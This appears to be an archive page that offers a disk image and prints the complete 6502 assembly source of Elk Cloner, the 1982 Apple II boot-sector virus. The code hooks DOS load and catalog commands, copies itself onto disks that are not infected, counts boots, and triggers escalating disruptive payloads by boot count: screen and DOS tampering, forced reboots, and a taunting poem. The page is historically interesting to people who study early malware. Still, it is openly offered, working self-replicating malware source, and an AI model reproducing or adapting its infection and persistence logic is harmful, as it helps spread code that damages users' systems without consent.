|
<-- back ]
[download disk image]
Source_Code of ELK CLONER by Richard Skrenta, 1982
ORG $9000
VERSN DFB $02
HIMEM LDA #$FF
STA $4C
LDA #$8F
STA $4D
DOPTCH LDA #$20
STA $A180
LDA #$5B
STA $A181
LDA #$A7
STA $A182
RUNPTCH LDA #$AD
STA $A4D1
LDA #$B6
STA $A4D2
LDA #$AA
STA $A4D3
LODPTCH LDA #$4C
STA $A413
LDA #>LOD
STA $A414
LDA #<LOD
STA $A415
BLDPTCH LDA #$4C
STA $A35D
LDA #>BLOD
STA $A35E
LDA #<BLOD
STA $A35F
CATPTCH LDA #$4C
STA $A56E
LDA #>CATALOG
STA $A56F
LDA #<CATALOG
STA $A570
USRPTCH LDA #$4C
STA $0A
LDA #>USRCMD
STA $0B
LDA #<USRCMD
STA $0C
BOOTUP CLD
JSR READ
LDX $B3BF
INX
STX $B3BF
JSR WRITE
JSR DESTROY
JMP $A180
TESTON LDA #$00
STA FLAG1
LDA $AA68
STA $B7EA
JSR READ
LDA $B3C2
CMP VERSN
BEQ TESTON1
LDA #$01
STA FLAG1
TESTON1 RTS
LOD JSR TESTON
LDA FLAG1
CMP #$00
BEQ LOD1
JSR CLONE
LOD1 JSR $A316
JMP $A416
BLOD JSR TESTON
LDA FLAG1
CMP #$00
BEQ BLOD1
JSR CLONE
BLOD1 JSR $A2A8
JMP $A360
CATALOG JSR TESTON
LDA #$06
JSR $A2AA
LDA $B5BF
STA $AA66
LDA FLAG1
CMP #$00
BEQ RETURN
JSR CLONE
RETURN LDA #$0
STA $B3BE
STA $B3BF
STA $B3C0
RTS
CLONE CLC
JSR READ
LDA IDENT
STA $B3C0
LDA VERSN
STA $B3C2
JSR WRITE
LDA $AA68
STA $B7EA
LDA #$02
STA $B7F4
STA $B7EC
LDA #$08
STA $B7ED
LDA #$0
STA $B7EB
STA $B7F0
LDA #$95
STA $B7F1
CLONE1 LDA #$B7
LDY #$E8
JSR $B7B5
CLD
BCC CLONE2
RTS
CLONE2 DEC $B7ED
DEC $B7F1
LDA $B7F1
CMP #$8F
BNE CLONE1
LDA #$02
STA $B7F1
LDA #$01
STA $B7F4
STA $B7EC
LDA #$0
STA $B7ED
LDA #$B7
LDY #$E8
JSR $B7B5
CLD
BCC CLONE3
RTS
CLONE3 LDA #$4C
STA $280
LDA #$00
STA $281
LDA #$9B
STA $282
LDA #$02
STA $B7F4
LDA #$B7
LDY #$E8
JSR $B7B5
CLD
BCC CLONE4
RTS
CLONE4 LDA #$0
STA $B7EC
LDA #$A
STA $B7ED
LDA #$95
STA $B7F1
LDA #$B7
LDY #$E8
JSR $B7B5
CLD
RTS
READ LDA #$01
STA $B7F4
JMP VTOC
WRITE LDA #$02
STA $B7F4
VTOC LDA #$11
STA $B7EC
LDA #$0
STA $B7ED
LDA #$BB
STA $B7F0
LDA #$B3
STA $B7F1
LDA #$0
STA $B7EB
LDA #$B7
LDY #$E8
JSR $B7B5
CLD
RTS
PRINT STY $FC
STA $FD
LDY #$00
PRINT0 LDA ($FC),Y
CMP #$00
BEQ PRINT1
JSR $FDED
INY
JMP PRINT0
PRINT1 RTS
PRTMSG LDY #>MSG
LDA #<MSG
JSR PRINT
PRTNUM LDA IDENT
STA $44
JSR $AE42
LDA #$8D
JSR $FDED
RTS
MSG ASC 'ELK CLONER V2.0 # '
DFB $0
IDENT DFB $1
FLAG1 DFB $00
RET RTS
USRCMD JSR $E6FB
CPX #$0B
BNE CMD2
JSR PRTMSG
RTS
CMD2 CPX #$0C
BNE CMD3
LDY #>REPORT
LDA #<REPORT
JSR PRINT
JSR READ
LDA $B3BF
STA $44
JSR $AE42
LDA #$8D
JSR $FDED
RTS
CMD3 CPX #$0D
BNE CMD4
JSR CLONE
RTS
CMD4 CPX #$0A
BNE USRERR
JSR PRPOEM
RTS
USRERR LDY #>UERR
LDA #<UERR
JSR PRINT
JSR $FBDD
JMP $9DBF
UERR DFB $8D
ASC 'ILLEGAL QUANTITY ERROR'
DFB $0
PRPOEM JSR $FC58
LDY #>POEM
LDA #<POEM
JSR PRINT
RTS
REPORT ASC 'BOOT COUNT: '
DFB $0
POEM ASC 'ELK CLONER:'
DFB $8D,$8D
ASC ' THE PROGRAM WITH A PERSONALITY'
DFB $8D,$8D,$8D
ASC 'IT WILL GET ON ALL YOUR DISKS'
DFB $8D
ASC 'IT WILL INFILTRATE YOUR CHIPS'
DFB $8D
ASC 'YES IT'
DFB $A7
ASC 'S CLONER!'
DFB $8D,$8D
ASC 'IT WILL STICK TO YOU LIKE GLUE'
DFB $8D
ASC 'IT WILL MODIFY RAM TOO'
DFB $8D
ASC 'SEND IN THE CLONER!'
DFB $8D,$8D,$8D,$8D,$0
IOERR LDY #>ERRMSG
LDA #<ERRMSG
JSR PRINT
JSR $FBDD
JMP $9DBF
ERRMSG DFB $8D,$8D
ASC 'I/O ERROR'
DFB $8D,$00
DESTROY LDA $B3BF
CMP #10
BNE DEST1
LDA #$69
STA $3F2
LDA #$FF
STA $3F3
JSR $FB6F
RTS
DEST1 CMP #15
BNE DEST2
LDA #$3F
STA $32
RTS
DEST2 CMP #20
BNE DEST3
LDA $C030
LDA $C030
LDA $C030
RTS
DEST3 CMP #25
BNE DEST4
LDA #$7F
STA $32
RTS
DEST4 CMP #30
BNE DEST5
LDA #'I'
STA $B3A7
LDA #'T'
STA $B3A8
LDA #'B'
STA $B3A9
LDA #'A'
STA $B3AA
RTS
DEST5 CMP #35
BNE DEST6
LDA #$85
STA $AAB2
RTS
DEST6 CMP #40
BNE DEST7
LDA #$00
STA $3F2
LDA #$03
STA $3F3
JSR $FB6F
LDA #$4C
STA $300
LDA #$00
STA $301
LDA #$03
STA $302
RTS
DEST7 CMP #45
BNE DEST8
LDA #$80
STA $D6
RTS
DEST8 CMP #50
BNE DEST9
LDA #>PRPOEM
STA $3F2
LDA #<PRPOEM
STA $3F3
JSR $FB6F
RTS
DEST9 CMP #55
BNE DEST10
LDA #$FF
STA $BDD3
RTS
DEST10 CMP #60
BNE DEST11
LDA #$20
STA $BDD3
RTS
DEST11 CMP #65
BNE DEST12
LDA #$4C
STA $A180
LDA #$69
STA $A181
LDA #$FF
STA $A182
RTS
DEST12 CMP #70
BNE DEST13
LDA #$10
STA $BDD3
RTS
DEST13 CMP #75
BNE DEST14
JMP $C600
DEST14 CMP #76
BNE DEST15
JMP $C600
DEST15 CMP #77
BNE DEST16
JMP $C600
DEST16 CMP #78
BNE DEST17
JMP $C600
DEST17 CMP #79
BNE DEST18
JSR READ
LDA #$00
STA $B3BF
JSR WRITE
RTS
DEST18 RTS
LOADER ORG $9500
LDA #$02
STA $B7EC
LDA #$01
STA $B7F4
LDA #$03
STA $B7ED
LDA #$0
STA $B7EB
STA $B7F0
LDA #$90
STA $B7F1
LOAD1 LDA #$B7
LDY #$E8
JSR $B7B5
INC $B7ED
INC $B7F1
LDA $B7F1
CMP #$96
BCC LOAD1
JMP HIMEM
|
|